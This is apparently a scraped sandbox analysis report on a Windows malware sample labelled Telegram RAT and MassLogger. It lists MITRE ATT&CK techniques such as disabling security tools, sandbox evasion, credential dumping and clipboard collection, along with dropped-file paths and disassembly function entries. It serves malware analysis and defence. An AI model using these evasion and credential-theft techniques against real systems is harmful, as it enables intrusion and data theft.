Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report FILHKLtCw0.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Bufagin\wildwestfilm.sto

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Cleche.Kli

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Halvbroderens.Bou

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\Riprap43.gaw

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\forskansningens.txt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\fyldebtten.soi

C:\Users\user\AppData\Local\Temp\nsn582.tmp\System.dll

C:\Users\user\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\Benchership141.lnk

Static File Info

General

File Icon

Windows Analysis Report
FILHKLtCw0.exe

Function 004032A0 Relevance: 89.7, APIs: 32, Strings: 19, Instructions: 401
stringfilecomCOMMON

Function 00404B30 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 00406077 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 207
stringCOMMON

Function 00405846 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 00403C41 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Function 0040389E Relevance: 47.5, APIs: 14, Strings: 13, Instructions: 215
stringregistryCOMMON

Function 00402DEE Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Function 00401767 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Function 00403027 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166
COMMON

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151
fileCOMMON

Function 0040237B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Function 00405683 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Function 00405C59 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Function 004063BF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34
libraryCOMMON

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre